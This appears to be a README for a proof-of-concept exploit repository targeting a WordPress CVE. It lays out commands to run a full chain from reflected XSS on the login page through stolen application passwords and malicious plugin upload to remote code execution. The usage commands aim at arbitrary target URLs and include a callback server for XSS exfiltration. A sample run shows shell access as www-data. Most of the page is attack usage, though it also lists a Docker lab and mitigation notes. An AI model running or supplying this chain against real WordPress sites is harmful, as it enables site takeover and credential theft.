git clone https://github.com/<your>/CVE-2026-64638-POC.git
cd CVE-2026-64638-POC

# One command — spin up vulnerable WordPress 7.0.2 + run full chain
./test.sh up
./test.sh chain

[STAGE 1] WordPress 7.0.2 → VULNERABLE
[STAGE 2] XSS payload URL generated
[STAGE 3] Application Password created
[STAGE 4] Plugin uploaded + activated
[STAGE 5] RCE → uid=33(www-data)

./test.sh up         # Start Docker + install WordPress (admin/admin123)
./test.sh scan       # Detect version & patch status
./test.sh chain      # Run full XSS2Shell RCE chain
./test.sh all        # up + scan + chain (all-in-one)
./test.sh down       # Stop containers
./test.sh clean      # Stop + remove all volumes

# Or with Make
make up              # Start Docker
make install         # Install WordPress
make scan            # Check vulnerability
make gen-xss         # Generate XSS payload URL
make test-chain      # Full RCE chain
make serve           # Start callback server on :8080
make down            # Stop containers

CVE-2026-64638-POC/
├── README.md
├── SECURITY.md              # Security policy & disclaimer
├── docker-compose.yml        # WordPress 7.0.2 + MySQL 8 + WP-CLI
├── Makefile                  # Shortcut commands
├── test.sh                   # Automated test suite
├── requirements.txt          # Python dependencies
│
├── xss2shell_chain.py       # [MAIN] Full chain: scan → XSS → app-password → plugin → RCE
├── xss2shell_scanner.py     # Version detection + username reflection test
├── xss2shell_checker.py     # Lightweight patch checker (safe, non-exploitative)
├── exploit_server.py        # Callback server for XSS exfiltration
├── xss_payload.html         # Interactive XSS PoC (browser)
│
└── docs/
    ├── CHAIN.md             # Technical breakdown of all 7 chain stages
    ├── MITIGATION.md        # Defensive guidance + detection rules
    └── PAYLOAD_NOTES.md     # Notes on the CVE-specific bypass payload

python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

# Scan target
python3 xss2shell_chain.py scan -u https://target.example.com

# Generate XSS payload
python3 xss2shell_chain.py gen-xss -u https://target.example.com -c http://your-ip:8080

# Full chain (requires WordPress admin credentials)
python3 xss2shell_chain.py chain \
    -u https://target.example.com \
    --user admin --pass "password" \
    --cmd "id"

# Individual stages
python3 xss2shell_chain.py stage-apppass -u URL --user U --pass P
python3 xss2shell_chain.py stage-plugin -u URL --apppass "PASS"
python3 xss2shell_chain.py stage-rce -u URL --cmd "whoami"

┌─────────────────────────────────────────────────────────────────┐
│  1. Reflected XSS on wp-login.php (failed-login error page)    │
│  2. DOM clobbering to manipulate page context                   │
│  3. JSONP / Same-Origin Method Execution (SOME)                 │
│  4. Application Password creation via REST API                  │
│  5. REST API access with stolen Application Password            │
│  6. Malicious plugin/theme upload                               │
│  7. PHP code execution → full RCE                               │
└─────────────────────────────────────────────────────────────────┘